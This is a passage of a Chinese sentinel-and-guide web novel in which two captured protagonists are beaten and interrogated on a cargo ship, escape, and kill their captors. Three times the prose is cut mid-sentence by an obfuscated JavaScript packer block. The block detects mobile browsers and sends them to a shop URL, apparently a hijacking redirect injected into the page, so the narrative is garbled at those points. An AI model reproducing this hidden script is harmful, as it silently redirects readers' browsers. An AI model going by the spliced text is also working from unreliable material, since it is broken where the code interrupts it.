“呜哇,你这么讨厌人家啊?”她的语气里带着种夸张的难过。先前她因为使用了认知偏差而有持无恐,莱蒂斯又有意压抑了情绪,她还真没去注意莱蒂斯的精神波动。 “你们都实在是……”莱蒂斯紧皱着眉,白鸟的惨剧还历历在目,她斟酌着词句,“毫无人性,让人厌恶。” “抱歉,她不太擅长骂人。”莱蒂斯身后的尼尔森说,他因为里奇的突然出现而惊讶,但语气依然不紧不慢,“她的意思是你们酒神节的人都应该被枪毙个一百遍然后骨灰拿去修厕所什么的——无意冒犯,赚钱嘛,不寒碜,我对你们意见其实没有那么大。但酒神节的人因为伦滋的事情来医院蹲我们俩,是不是有点多管闲事了?” “让我猜猜,是他爸找上你们了?” 没有人回答他,里奇的机械臂发出了轻微的,威胁般的嗡鸣,而少女眨了眨眼睛。 她在眼前二人的身上感觉不到慌张,也感觉不到恐惧。莱蒂斯毫不退缩,而那金色眼睛的男人即使是从沉默中也能推导出情报。 他们是真的有应对一个S级哨兵的办法吗,抑或只是在周旋,虚张声势地维持这种僵持的局面呢? 少女想不太明白,但无所谓啦! 僵持对她来说,就已经足够了—— 在她指尖,假眼蝶依然煽动着翅膀。 仿佛自另一个空间而来,另两个身影出现在莱蒂斯和尼尔森身后。 你瞧,那个护卫的反应多快啊。几乎是同一时间,她就意识到了,被隐藏起来的人根本就不止里奇一个。她立刻转过身去,可是一只手已经掐住了尼尔森的脖子,一只装着麻醉剂的注射器扎在他的颈部静脉。 和她一同握枪的,那只宽大的手无力地松开了。 莱蒂斯的瞳孔紧缩起来。 哇,她可真够能打的。这下少女知道他们当时为什么能从酒神节逃脱了。她一瞬间就单手掀翻了另一个企图袭击她的那个男人,把那高大的身躯拽到自己和里奇之间,挡住S级哨兵的枪口,手里的枪紧接着对准偷袭了尼尔森的家伙。 “放开他。” 电光火石之间,莱蒂斯绿色的眼睛一闪而过,愤怒凝固在其中,像是铁水铸成子弹的瞬间。 这护卫的模样竟然和领域被侵犯了哨兵有些相像,当她的目光和枪口一同瞄准偷袭者的时候,少女感觉到了那个男人身上流露出了恐惧。 他怕什么呢?少女想不明白,莱蒂斯是很厉害,但这种程度对里奇来说连玩闹都算不上。 在她身边,里奇的动作轻描淡写:他只是下移了枪口,然后一颗子弹精准地从两人间的人形肉盾身边擦过,打进了莱蒂斯的膝窝。 鲜血四溅,在莱蒂斯白色的裙摆上绽放。刚刚被掀翻的男人抓住了她失去平衡的机会,一把抓住她肩膀,将另一只注射器刺进她脖颈。 他长舒一口气,松开手,看着陷入昏迷的莱蒂斯和尼尔森一样倒在了地上。 “然后怎么办,里奇先生?” 两个男人小心翼翼地问,对于这个一直掌控着局面的男人,他们充满尊敬。 “交给酒神节的审。问出来伦滋的事情都有谁知道,然后处理掉。那个叫卢娜的,等我们杀了海克之后,也一样处理。”他说着,伸手扯掉了尼尔森的假胡子,想到这人刚刚对认知偏差不以为然的态度,又看了眼他的后颈。 “果然。一个向导,或者伴侣,没有登记。从头到尾没用过能力,可能有精神或者生理上的疾病。”里奇果断地得出结论,把尼尔森的现状猜得八九不离十,“酒神节的人可能会想留他去做向导之旅。记得提醒他们,把审问放在第一位。” “好的,里奇先生。我们现在就让酒神节安排两个精神入侵的向导。” “不。一个就行。”里奇说,“这个男人应该不难对付,他只是个耍小聪明的向导,自以为藏得很好。让酒神节的人用最直接的方法审就行。” 他抬起眼来,又看向莱蒂斯,淌出她伤口的鲜血正汇集成血泊。 “至于她,让酒神节派他们最好的精神入侵者来。”S级哨兵眯起眼睛,“她的精神屏障不是个护卫该有的强度,如果酒神节想挖出情报,最好不要小看她。” “好啦,别替酒神节操心啦!我们已经帮了酒神节大忙了。人家领的任务明明只有干掉海克.雷德这一项而已。”少女伸了个懒腰,“走啦走啦,这两个人已经是相当物超所值的附赠小礼品了吧。” “这件事要认真对待,米拉。如果伦滋的事情闹大,我们也可能暴露。” “有人家在的话就不可能。”被称为米拉的少女笑起来,她解除了自己引发的认知误差。 卢娜.雷德的面孔消失后,粉色的长发和紫色的眼睛格格不入地暴露在消毒水的气味中,勾勒出一个长相甜美的少女的形象。她理了理头发,和里奇一同向门外走去。 “对了,里奇,你为什么只攻击了莱蒂斯的腿?”米拉边走边好奇地问比自己年长很多的S级哨兵,“她之前试图攻击人家的时候也想打这个部位,你不会是想给人家报仇吧?” “还是说……”她凑到里奇面前,紫色的眼睛带着虚假的笑意,“你又对小孩子起了恻隐之心,没能下得去重手?” “我的首要目标是控制住她的行动,而攻击膝关节可以让人迅速丧失机动性,她也是因为明白这个道理才会选择这样攻击你的。”里奇回答道,然后一本正经地教育起少女来。 “记住,米拉,执行任务不能为所欲为。如果目标伤得太重,反而会对审问造成阻碍。” “哎,真没劲。”米拉夸张叹口气,转眼又带上笑容,“我还是等着见海克.雷德吧。卢娜在我们手里的消息已经发给他了吧?真好奇啊,当他知道自己害自己的妹妹命悬一线的时候,会散发出什么感情呢?” “……呃。” 尼尔森醒来,发现自己正坐在一把椅子上,他的双手被绑在身后,脑袋昏得像是被扔进洗衣机里转过。 他感觉视野昏花,脖子也不太对劲,痛觉灼烧着他的皮肤,让他下意识地抽了口气。等其他感官迟钝地恢复到可以辨别现状时,他才意识到自己正被人拽着头发,被迫仰起头来。 有两个男人站在他旁边,他们说话的声音像是蜜蜂的嗡鸣。 “啪!” 又一巴掌打在尼尔森脸上,倒是终于把他听觉打清晰了。 个子更高的男人问另一个矮个子:“这人到底是醒了还是没醒?” 矮个子说:“麻药劲还没过吧,接着打。” “喂喂,我醒了,早就醒了。”尼尔森脸上火辣辣地疼,他集中注意力,终于成功调动了自己的舌头和声带,还有自己的嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356926|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炮,“唉……讲点科学行不行,总得给麻醉状态的人一点恢复时间吧。麻药效果是我自己代谢掉的,又不是你们打没的。” 他的记忆断片了,但结合现状,很容易就能想明白发生什么了——显而易见的,他们被偷袭了。他战斗反应力又不行,转眼就被麻醉剂放倒了。哎,那个精神动物是假眼蝶的丫头可真够阴的。 失去意识前,他只鲜明地感知到了两个东西:脖子被注射器刺穿的疼痛,还有莱蒂斯看向自己的,担忧又有些慌张的眼神。 他转动眼球,看见四周是一个狭窄但空荡荡的长方形房间。一些审问的工具被摆在地上,但莱蒂斯并不在这里。世界好像有些摇晃,是因为麻醉剂,还是因为别的什么? 在面前的两个男人说话前,尼尔森先开口了:“知道你们想问什么,待会儿再说。先跟我说说,我被运过来的时候,有没有一个小姑娘和我一起?” “嘭!” 这次落到他脸上的不是巴掌,而是高个子男人的拳头:“拽什么呢?我就说你药劲还没过——不想挨揍就别在这里废话,除了你们,还有谁知道那位客户的信息?” 疼痛和鲜血一起流淌出尼尔森的鼻腔。穿西装的侦探仰着头,却露出了个懒洋洋的笑:“‘我们’?好吧,所以她果然也被带过来了啊……她受伤没有?” “呵,有空操心那个小丫头,不如多想想你自己。”矮个子的男人道说,尼尔森能感觉到他身上散发的鄙夷和洋洋得意。 “我可以告诉你,审她的家伙是个A级的向导。你也是向导,知道这是什么概念吧——用不了多久,他就能从她脑子里挖出情报了。要是你想活着,就赶紧把知情人的名字说出来。如果你说得更快,我们就当你是立功了,可以考虑放你一条生路。” “不是,你们……咳……” 尼尔森有点想笑,但因为姿势问题有点被呛到。他知道自己看起来不是什么正人君子,对方也许正是因此才会利用审讯中最常见的囚徒困境来挑拨离间,但这话编得也太扯了。 他瞥了两人一眼,用无奈的语气道:“算了,你们还是直接别的让向导来钻我脑子吧。” “看来你还是对自己的现状不够清楚。”那矮个子的男人见他吊儿郎当不当回事的样子,露出个冷笑,“别忘了你只是个向导。古往今来,我们对付向导的办法,可多了去了。” “什么意思?你们是哨兵?” “当然。”对方高高在上地回答,释放出哨兵的攻击性来。生来就是为了服从和辅助哨兵的向导们,通常会本能地对这种状态的哨兵感到害怕。 高个子的男人更加用力地拽着尼尔森的头发,几乎要把他拖起来,然后用一种武夫独有的粗声粗气道:“我看你们向导都因为这十几年地位变高开始飘了。找向导来开你的脑子?看不起谁呢!别忘了,我们哨兵天生就有办法支配你们向导。” 面对此等危机,尼尔森表情微妙:“你们……不是认真的吧?” 对方当他是怂了,于是露出个狞笑:“如果不想遭罪,就老老实实说吧。” “呃……”尼尔森发出了一个迟疑的音节,他降低了精神屏障,只在这两个人身上感受到了势在必得的决心。 沉默了几秒后,他的表情严肃道:“好吧,我说。” 他深吸一口气,张开沾着鲜血的双唇,然后卯足了劲用石破天惊穿云裂石的声音大声喊道: “莱蒂斯——!救我!有人要强○我啊——!” 37. 第三十六章 “嘶——咳啊!” 尼尔森咳出一口血。他侧躺在地上,上半身和双手都被椅子跟绳子固定着,无从挣扎。双腿是他为数不多能移动的部位,他蜷缩起来,试图护住自己的腹部。 就在刚刚,他被那个高大的男人一脚精准地踢在了脆弱的胃部。疼痛和呕吐的冲动顺着他喉咙攀爬,他干呕起来,最后吐出的却是鲜血。 “操…哈啊……痛死了……” 尼尔森喘息着,散乱的棕发遮挡住了他金色的瞳孔。 他的确是想激怒这两个男人,但没想到自己随口一句玩笑话的效果会这么好。这两个人似乎觉得强○尼尔森会显得他们太饥不择食,有辱他们哨兵的气概,于是立马恼怒起来,一边喊着谁他妈要强○你啊,一边拽着他头发把他直接甩到了地上,开始把尼尔森往死里揍。 他们的力气很大,连拷问用具都没上就把他打得一副惨状。尼尔森头晕,耳鸣,身上疼得要命,这两个哨兵强加在他精神上的威压偏偏还越来越重,像是攻城锤一样重重砸在他的精神屏障。 这就是他们说的支配向导的方法。相当古老,相当原始,但确实有用。 在向导还被视为没有人权的财产的时代,哨兵们往往会直接购买合适的向导来与他们结合。但并不是所有向导都会乖乖听话,作为共感者,他们也有精神屏障。 于是撬开屏障的任务落到了向导商人们身上,他们需要像撬开牡蛎的壳一样撬开这些向导最后的防线,将他们柔软的蚌肉直接盛到顾客面前。 标记向导从而使他们服从自然是不可能的,那是顾客们才能干的事情。商人们有更加简单有效的办法——揍,往死里揍。原理非常简单:折磨和疼痛会使人精神崩溃,崩溃的向导的精神屏障会瓦解,屏障瓦解的向导很难抵挡哨兵的精神入侵,到时候要问出情报简直轻而易举。 要把尼尔森送去酒神节,和其他向导一样控制起来,也轻而易举。 尼尔森倒是没想过酒神节会把他也视为向导之旅的资源,这对他来说有点重口了。他只是猜出了自己会挨顿毒打。 “很痛是吧,知道怕了?”那个矮子看他缩成一团的样子,笑着踩住了他的脚踝,示意那个高个子去拿地上的折棍来,“现在说的话,可以给你个痛快。不然我保证把你打到生不如死。” “……就这?” 像是听到了好玩的事情,尼尔森朝他们咧开嘴。 这是他刻意在挑衅,也是他在发自内心地觉得好笑。生不如死,多可怕的词。但这个词对他来说不是一个威胁,只是一段记忆。 现在摆在地上的审问工具,尼尔森全都见过。现在徘徊在他体内的疼痛,尼尔森全都经历过。这两个哨兵有着敏锐的视力,但毕竟看不见他西装下的身体——这个在监狱岛上存活下来的男人早就习惯了用刑,他身上的伤疤,也许连审问他的人都会觉得触目惊心。 简单来说,他是怕疼,但他可抗揍了。 终于到下一步了,真是麻烦……因此当折棍重重打在肩背上时,侦探只是这么思考着——也不知道莱蒂斯怎么样了,他待会儿还得带她一起走呢。 莱蒂斯躺在一张窄床上,一动不动。 少女还穿着那件白色的小礼服,平和的表情让她的面容显示出了和年龄相符的乖巧。只是看着她闭眼而眠的样子,论谁也想象不出这具身体里此刻正深陷在极端的愤怒和焦急。 它们如风暴肆虐,如山火燃烧,到最后却凝练出了冰冷而肃杀的东西。 莱蒂斯感到了自己的杀意。 它并没有让她失去理智,也没有让她疯狂,相反的,它清晰如一把匕首上的倒影,从她看见尼尔森被偷袭时就刺入她的大脑——她要杀了医院里的那对哨兵向导。 这不是战斗中那种一击必杀的出击,也不是对酒神节的劳瑞那种无情的处决。她像一只领地被侵犯了的野兽,是单纯想把入侵者全身的骨头和精神图景一起彻底碾碎,让这两个人彻底灰飞烟灭。 这感觉有些陌生,甚至有点吓人。它不像是大脑中传递出的递质,倒更像是直接爆发在心脏之中的本能,在她的血脉中鼓动,几乎要把她自己也划伤了。 但她想要保护的对象被伤害了! 卢娜.雷德、海克.雷德,还有尼尔森.莱顿。他们有危险。 莱蒂斯要保护他们。她必须得保护他们。 可莱蒂斯不知道他们在哪,她甚至不知道自己在哪。她什么也看不见,什么也听不见,唯一可以依赖的嗅觉也失灵了,她想突破这一片虚无,却发现自己连自己的身体感觉不到。 刺骨的杀意停滞了一瞬,她在间隙中想起一个名词。 五感封闭。 一个普通的向导能辅助调节共感者的感官,一个高评级的向导则能做到封闭共感者的五感。为了应对这种攻击,塔专门为哨兵们开设了突破感官封闭的课程,和她同年级的哨兵们从训练室里走出时,总是一身冷汗。 莱蒂斯只是看着他们从面前路过。她不配参与这样的训练,她只是一个护卫。 截然不同的负面情绪被唤醒,她的心中陡然升起巨大的无力感,提醒着她作为一个护卫的无能为力。它越来越强烈,像是大雨将她淋透。放弃吧,你太弱了,你什么都做不到。在她心里重复过千百次的呢喃又一次响起,可那种陌生的本能依然在熊熊燃烧,使她如同一只被囚禁在牢笼中的困兽,想要她把所有阻拦她的东西撕得血肉横飞。 于是这年轻的少女,初生的野兽咬紧了牙关。仿佛是为了回应她暴虐的想法,一种直接从精神层面炸裂的剧痛席卷了她,然后,自这种肉与骨被重新缝合的痛楚里,她原本羸弱的共感力猛然爆发开来,就连虚空都为之动摇。 妈的,他在入侵的到底是个什么玩意。 A级向导的额角滚落一滴冷汗。他坐在莱蒂斯旁边,双手按着她的太阳穴,努力稳住对她的五感封闭。自从这丫头的思维开始恢复之后,她的攻击力就像一座活化过来的火山一样越来越强,刚刚爆发的那一下冲击甚至差点把A级向导探进去的精神触须灼伤了。 他一开始还以为这是个很简单的小任务。入侵一个连精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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如他所料的,杀气腾腾的小丫头很快产生了一些消极的负面情绪。虽然她没有慌张,也没有惶恐,但优秀的A级向导还是抓住并放大了她一瞬的自卑和无力。类似的情绪在护卫和低评级哨兵的身上很常见,他指望着莱蒂斯因此出现破绽,但紧接着爆发的共感力证明,这压根没用。 为啥啊! A级哨兵的双手有点抖。按理来说他不应该害怕一个低评级的护卫的,但现在他的身体正在下意识地打颤。这太奇怪了,他能感知到莱蒂斯的精神屏障正在动摇,但那和他没有关系,是她自己正在捶打自己的精神屏障,似乎想将它破坏。 难道是这个毫无经验的护卫不知道五感封印如何突破,错误地伤害到精神屏障了? 机会啊!A级哨兵喜出望外,但不知为何又笑不出来。他重新唤出铁线虫进行入侵,很快,他感应到了莱蒂斯的杀意变弱,开始散发出挣扎,恐惧,和疑虑。 哈,护卫果然只是护卫,会犯这么白痴的错,现在怕了吧?他笃定地想着,开始增幅她的负面情绪。 虽然他还没突破她的精神屏障,其实根本就不知道究竟是什么让她产生了这样的情绪波动。 就像他不知道,此刻他仍然游荡在他脑海深处中的恐惧,其实是他潜意识地在害怕莱蒂斯会成功解除精神屏障。 因为封锁住怪物的从来不是他,而是怪物自己。 38. 第三十七章 正如A级向导感应到的那样,莱蒂斯在害怕。 她忽然停下了所有的挣扎,有些茫然无措,像是一个在黑夜里迷路的孩子,想找到出路,又害怕被黑暗吞噬。 经历了杀意的爆发后,她的共感力在一片虚空中横冲直撞,如同决堤的洪流,没有什么能够将其阻挡。 她想要听见,想要看见,那陌生却与生俱来的力量便为她开道。可就在她感觉自己将要突破感官封闭时,她猝不及防地撞上了一道坚固的屏障。 仿佛触电一般,一阵剧痛在她的灵魂中炸裂开来。即使莱蒂斯已经被封闭了五感,它依然能直接鞭笞在她的灵魂之上,硬生生扼制住了她迸发的力量。 那屏障传递来的不是触觉,而是情感。 这鲜明的恐惧和苦痛让莱蒂斯下意识地退缩。 但焦急且愤怒的少女只迟疑了一瞬。她咬牙再次凝聚起力量想要撕裂屏障,一再用力,不顾一切地攻击,可每一次困兽犹斗的撞击只是让更多的疼痛像荆棘一样扎进她的神经中生长。 好痛…… 为什么会这样?那屏障坚不可摧地高高耸立,莱蒂斯感觉被撕裂的是自己。她似乎能感觉到外界的信息了,可黑暗之外传来的东西却并不是她想要的。她感知到爆鸣,尖叫,整座城市的噪音;震动,灼热,远方战场的气流;烛光,灯火,同时浮现的日出与日落—— 整个世界在屏障外躁动,全都要她一个人承担。 又来了。烈火和严寒的剧痛同时在莱蒂斯的皮肤表面拉扯,她的耳道和大脑都像是灌了铅一样又疼又沉重,而她错觉有很多很多细碎的玻璃碎片涌上眼窝,刺破她的眼球,然后塞满她空洞的眼眶。 不…… 莱蒂斯的本能在拒绝着。她想出去,可外界是那样的可怕。一旦突破屏障,她又要清醒着被自己的感官切成无数碎块,承载着无穷无尽的信息和无穷无尽的痛苦,连昏死过去都做不到,就像,就像—— 就像刚刚觉醒的时候那样。 “你要在你的感官上建一堵墙,一堵能把你不想要的东西都隔绝在这之外的墙——然后不要再放它们进来,永远不要。” 休伯特大叔沉稳的声音似乎还在耳边。 关于莱蒂斯的精神屏障,尼尔森猜得对也不对。哨兵的天赋也是他们的诅咒,他们因为过于发达的五感,必须面对常人无法承受的信息流。 莱蒂斯不知道自己感官的强大,只知道强大的感官会给自己带来痛苦,而养育她的人爱她,给她指明了一条逃避的道路。 她并不是不接受精神屏障可逆的概念,只是她觉醒时的感觉太过痛不欲生,让她下意识地拒绝减弱屏障的做法。 A级向导增幅过的恐惧像是坍塌的城市一样压倒在莱蒂斯的精神上,她颤抖起来,仅仅是继续与自己的屏障对峙,就已经需要莫大的勇气。 但她已经不能在逃避了。 在混乱的感官中,她依然能看见他人的眼睛。白鸟死去的蓝色眼睛,雷德兄妹阴郁的黑色眼睛,还有尼尔森在她眼前失去光彩的金色瞳孔。 它们的色彩是那样鲜明,如同风暴中的星辰。 如果她真的是个强大的哨兵,她是不是就可以保护他们了? 在薇拉和佩德罗的武器店里,莱蒂斯问新认识的两个高评级哨兵,解放感官之后的信息流是很难承受的吧?你们是怎么抵挡那些杂乱的信息的? “嘿,真有意思。我敢说,你是第一个问这个问题的护卫!一般的护卫只会羡慕我们哨兵觉醒了全部五感!”佩德罗觉得莱蒂斯很有趣,高兴且大力地拍了拍小姑娘肩膀,“其实很简单,只要我解放感官之后把注意力都集中在要揍的人身上,专心揍,用心揍,其他信息流就不会影响到我了。” “真不敢相信我当年跟你是同一个塔出来的……”收银台后面喝冰美式的薇拉一脸无语,转向莱蒂斯时,却带上了点认真。 “他的意思是,我们哨兵会找到一个锚点。” “一种气味也好,一个身影也好,我们哨兵会找到一个目标,然后把所有的感官都集中在那上面。无论其他信息有多么繁杂,只要把注意力集中在目标上,就不容易迷失在信息流里。” 薇拉难得地多说了几句话,向莱蒂斯介绍了哨兵的技巧。她喜欢莱蒂斯,因为她比大多数黑手党厉害,眼睛却又比黑手党们干净。 可要怎么找到锚点呢?莱蒂斯心急如焚。她的感官被封闭了,连自己的身体都感觉不到,而外界的信息流又庞大如洪水,不等她找到目标,就该将她淹没了。 可还有人在等着她。她还有去救卢娜,救尼尔森,她还有去帮海克和白鸟逃出酒神节的圈套啊! 少女的杀意在痛苦中消减,只剩下坚定的意志和焦急的担忧。她很少会想哭,但此刻却感觉胸腔中充满酸涩的情感。她是那样的无力,却依然想要去感知,去寻找,去守护—— “莱蒂斯——!” 然后,一声呼唤忽然就这么在虚空中响彻。莱蒂斯猛地一怔,心里升起沉甸甸的暖意,拖着她坠回了人间。 她依然不能视,也不能听,但这声呼唤是突破了她被剥夺的五感,直接在和她的思维共振。 一道金色的光芒在虚空尽头闪耀,像是一闪而过的流星。 像是降临在惊涛骇浪中的锚点。 啊,原来你在这里。 莱蒂斯想。她忽然感到了一阵平静。 那么,我知道自己要听的是什么了。 她深吸一口气,凝聚起力量,对着自己的双耳深处狠狠地刺了进去! 听力的屏障破碎的刹那,所有哨兵的耳边,都响起了一声穿云裂石的狼嚎。 “差不多了吧,他好像已经没意识了。” 高个子哨兵拍了拍尼尔森的脸。 侦探低着头,无力地靠在椅子上,破损的西装下露出淤青和伤痕。他浑身上下都脏兮兮的,脸色看起来却比平时更加苍白了。 他的胸口只剩下轻微的起伏,伶牙俐齿的嘴里只剩下微弱的喘息。那双金色的眼睛涣散地盯着地面,没有神采。 液体顺着他湿漉漉的发尖滑落,那是他的汗和血。 所以你看,要逼一个向导就范其实是相当容易的事情。随着他们的殴打,还有精神层面的施压,尼尔森嘴里的嘲讽逐渐变成了惨叫,又从惨叫变成了低低的闷哼,直到现在,连发出声音都变得困难。 “我看看?”矮个子的哨兵走过来,掐住尼尔森的脸颊把他脸掰正。他试探着伸出精神触须入侵尼尔森的大脑,没有遭到阻拦。 “哈哈,已经崩溃了。”他笑出了声,抬手又给了尼尔森一巴掌,“精神屏障还没嘴硬呢,刚刚嘲老子的气势呢?” “啪!” 清脆的声音在狭小的空间里响起,尼尔森的脑袋歪向另一个方向。他对这纯粹是出于侮辱的攻击已经没有任何反应了。 这人现在已经随我支配了。那个A级向导那边到现在都没有消息,看来这功劳归我了! 矮个子哨兵乐呵呵地想着,露出贪婪的表情,开始想办法把自己的傻大个同事支开。 他稍微解放了一下听力,然后皱起了眉头。 “喂,你觉不觉得外面很吵?你出去看看是什么动静。”矮个子哨兵说。他评级不算高,一直以来由专注于对尼尔森行刑,这会儿想起找理由独占功劳,才发现外面似乎不太安静。 他一点儿没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356928|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把这放在心上,满脑子领赏的激动。就像前不久他听见了一声奇怪的狼嚎,让他殴打尼尔森的动作停顿了一下,但哨兵的感官偶尔是会捕捉到点不知道哪来的声音,他压根不在乎,手里的折棍继续捣在尼尔森腹部。 “哎,行,交给我!”高个子哨兵如他所料地回答他,转身走出门外。 矮个子哨兵于是愉快地按住尼尔森的太阳穴,往他的精神中探出自己的触须,现在,这个男人完全是自己的盘中餐了。 为了尽快支配这个已经崩溃的,自我意识微弱的向导,他没有对尼尔森维持精神屏障,只顾全力入侵。 “?” 但在他闯入尼尔森大脑的瞬间,矮个子哨兵只看见一只金色的,绵延了百米的无脊椎动物在眼前盘踞。它很美,很神秘,叫他移不开眼睛,于是下一秒,他忽然全身一僵,眼中也溢出了金色的光彩。 哨兵的手在意识断片时垂了下去,早借助衣袖里的小道具割破绳索的尼尔森抬起手,握住了他的手腕。 他和尼尔森有肢体接触。 他主动对尼尔森解除了精神屏障。 那么现在,是谁在支配谁呢? 侦探抬起头,挑起带血嘴角,金色的双瞳熠熠生辉。 现在要想使用能力实在是太麻烦了,所以尼尔森才非常清楚,自己必须得挨这顿打。他知道这两个看不起向导的哨兵会在确认他精神涣散之后毫无防备地入侵他的精神,因此才跟着演了这么一出。 不然,他要怎么把这家伙变成自己的提线木偶呢? 尼尔森站在这个低等级哨兵贫瘠的精神图景,悠哉地刺激起这家伙的杏仁体。哨兵的手腕在他的手里颤抖起来,他清楚即使自己只是动动念头,对这个人施加的痛苦就会远超他刚刚承受的一切。 他歪着头,打量着这片精神图景里的变化。随着大脑中产生恐惧情感的部位被玩弄,哨兵的精神图景里开始闪现出主人害怕的东西。成群的老鼠,火灾,皮带,等会儿,这个拿皮带抽他的是他爹吗?哦,然后是异形?挺好的,就这个吧。 “嘭!” 与此同时,刚刚出去的高个子哨兵惊慌地跑进来,一边大声喊着“我靠外面出大事了”一边赶紧关上了门。但尼尔森眼中的金色加深,已经被刺激得极度惊恐的矮个子哨兵认知瞬间被扭曲。 在他眼中,向他冲来的是露出利齿,外表畸形的异形怪物。 他惨叫一声,抽出手枪,对着自己同事连开三枪,打爆了他的脑袋,又在尼尔森的操纵下呆滞在原地。 哎呀,着急了点,应该等那个大个子说完外面到底出了啥事儿再动手的。 尼尔森遗憾地想,然后卸下了矮子哨兵所有的精神屏障,不顾这人被信息流永久损伤的精神,开始利用他的感官打探周围环境。 他站在形状古怪的长方形房间里,发现四周依然在晃动,一起一浮,看来这不是他挨打时的错觉。 哨兵收集到的信息反馈回来,在精神图景上形成投影。 结果不出尼尔森所料——他正在一艘货船上。奎茵河的波浪让船舱摇晃,而这个所谓的房间,其实是货船上其中一个集装箱。 但侦探总归有想不到的事情。他猜出来这是艘船,却没猜出船上的情况。 就在他挨打的这段时间里,船上似乎出了大问题。货船甲板以上供人居住的建筑和船头的下层平台传来惨叫,如同地狱,船尾本该有人驻守的货仓里又没有一点生命存在的迹象,寂静如坟墓。 尼尔森本来是想利用这个哨兵找到莱蒂斯,带她一起逃走的。 但现在,他发现自己要找的小姑娘,正拖着一瘸一拐的脚步,从船头哀嚎连连的地狱里向自己走来。 39. 第三十八章 “明日市北部有,阵雨……南部……请不要拥挤……” 莱蒂斯一边走一边小声呢喃着,似乎神志不太清晰。一个潜伏在集装箱背后的哨兵见她失魂落魄的样子,趁机朝她发起攻击,却被她抬手击中了大腿,跌倒在地。紧接着又一颗子弹正中他手中的枪,引发的爆炸让他双手血肉模糊。 他这才后知后觉地发现,这丫头根本清醒得可怕。 “拉贝尔大道……Marthacha?nedesupermarchés……瑟玛公国的极端组织宣称将要发动……” 莱蒂斯越过了不能行动的哨兵,继续前进。她的右手装着一副半自动机械臂,很好用,就是对她来说太笨重了。这是她从一个哨兵那里抢来的。对方的评级应该比较高,一眼就看出了莱蒂斯的弱点,重创了莱蒂斯受伤的右膝,所以她走起来才这么慢。 作为代价,那个哨兵的脊髓受了损伤,喜提半身瘫痪。他怎么也想不明白,一个神智不清的护卫为什么能精准地仅凭一把左轮直接破坏掉他神经束,就好像她知道要瞄准什么地方一样。 “啊啊……本台记者报道……Tiamerò。据传……反对首席……” 莱蒂斯有些狼狈,事实上,很狼狈。半自动机械臂为哨兵设计,装载的穿戴式感应系统通过脊柱连通五感。但她的嗅觉还因为阻断剂而失灵,现在主要依赖的是刚解放的听觉。由于其他感官无法为感应系统提供信号,感应系统反过来开始刺激莱蒂斯的神经以寻找信息,这让她浑身发疼。 她没有意识到,本来需要五感驱动的机器,她仅仅凭借听力就能运用,究竟意味着什么。 “收费是十五元……议员候选人哈瑞呼吁……Eun??ovou……” 但谁又有资格去责怪莱蒂斯呢。这个可怜的少女必须用尽全力才能保持注意力。她的听力屏障完全破碎,电台,电视,音乐,人们的对话,路边的噪音,全世界的声音不断在她的大脑中跳跃。她不知道自己的听力究竟延展到了什么地步,只是发现耳边出现了好几种根本听不懂的语言。 庞大的信息流从她的精神中溢出,她下意识地喃喃着自己接收到的声音,神神叨叨,像一台坏掉的收音机。她好像正行走在一场风暴里,要拼了命才能看清前路。 还好她锁定了锚点。 早在击碎自己听力屏障的刹那,她就已经追随着那声呼唤的方向而去,然后找到了一阵心跳。 尼尔森的心跳。 于是少女知道了自己该往哪里前行。 倒在她身后的哨兵因为伤痛惨叫起来。昏暗的船舱里,他恶狠狠地盯着那个穿白色礼裙的身影,召唤出自己的精神动物。哨兵的攻击手段有很多种,他要自己的狼獾去袭击那个古怪的护卫,可这只向来凶狠的小型猛兽却俯趴在自己身旁,发着抖一动不动。 直到这时,他才突然感觉到芒刺在背。那是目光,是野兽的双眼,即使视线的来源还没有显形,他也能感受到无声地警告。 可这不对啊,难道那是这个护卫的精神动物吗?护卫会有精神动物吗? 即使她真的有,一个共感者也理应只有一只精神动物才是。 那么现在他感觉到的,如同纷杂的繁星般密密麻麻的视线,又到底是什么? 那在走廊上逐渐走远的,纤细的身影突然变得沉重而模糊,像一个在他意识中坍缩的黑洞。 这个护卫她,又到底是什么? 狼獾回归了无形的量子态,哨兵即使疼痛难忍,即使心有不甘,也只是趴在地上,因为伤痛而哀嚎着。就像一路上其他倒地不起的哨兵那样,他也退缩了。 他们的精神动物都是野兽,都有趋利避害的求生直觉——哪怕莱蒂斯的精神屏障出现了明显的漏洞,也没有任何人去袭击她的精神。 唯一的受害者是A级向导。 在莱蒂斯击碎自己听力屏障时,这个擅长入侵的向导就迫不及待地闯进了她的精神图景。现在他跌坐在莱蒂斯先前躺着的生活区船舱里,双眼无神,喉头滚动着怪异的响声,像是呼啸,又像是嗡鸣。 “—————————” 那并不是人类应该发出的声音,而是来自天外的,遥远又空洞的巨响。 在莱蒂斯的精神里,A级向导看见的是一片原野,和一片星空。但和尼尔森所见的璀璨如钻石的星光不同,此时天空中的,是一颗真正的星球。冷寂的宇宙笼罩下来,它像是有生命的庞然大物一样在高处将他注视,美丽,诡异,不可探知,不可名状。 